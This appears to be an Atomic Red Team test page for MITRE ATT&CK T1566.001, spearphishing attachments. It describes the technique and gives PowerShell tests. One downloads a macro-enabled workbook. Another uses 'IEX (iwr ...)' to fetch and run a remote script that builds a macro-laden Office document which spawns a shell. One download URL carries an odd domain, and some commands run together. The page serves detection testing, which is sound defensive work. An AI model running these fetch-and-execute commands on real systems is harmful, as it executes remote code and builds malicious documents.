Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.(Citation: Unit 42 DarkHydrus July 2018) Spearphishing may also involve social engineering techniques, such as posing as a trusted source.There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.
This atomic test downloads a macro enabled document from the Atomic Red Team GitHub repository, simulating an end user clicking a phishing link to download the file. The file "PhishingAttachment.xlsm" is downloaded to the %temp% directory.
Supported Platforms: Windows
auto_generated_guid: 114ccff9-ae6d-4547-9ead-4cd69f687306
$url = 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1566.001/bin/PhishingAttachment.xlsm'
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri $url -OutFile $env:TEMP\PhishingAttachment.xlsmRemove-Item $env:TEMP\PhishingAttachment.xlsm -ErrorAction IgnoreWord spawning a command prompt then running a command with an IP address in the command line is an indicator of malicious activity. Upon execution, CMD will be launched and ping 8.8.8.8.
Supported Platforms: Windows
auto_generated_guid: cbb6799a-425c-4f83-9194-5447a909d67f
| Name | Description | Type | Default Value |
|---|---|---|---|
| jse_path | Path for the macro to write out the "malicious" .jse file | string | C:\Users\Public\art.jse |
| ms_product | Maldoc application Word or Excel | string | Word |
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
$macrocode = " Open `"#{jse_path}`" For Output As #1`n Write #1, `"WScript.Quit`"`n Close #1`n Shell`$ `"ping 8.8.8.8`"`n"
Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"Remove-Item #{jse_path} -ErrorAction Ignoretry {
New-Object -COMObject "#{ms_product}.Application" | Out-Null
$process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
Stop-Process -Name $process
exit 0
} catch { exit 1 }Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"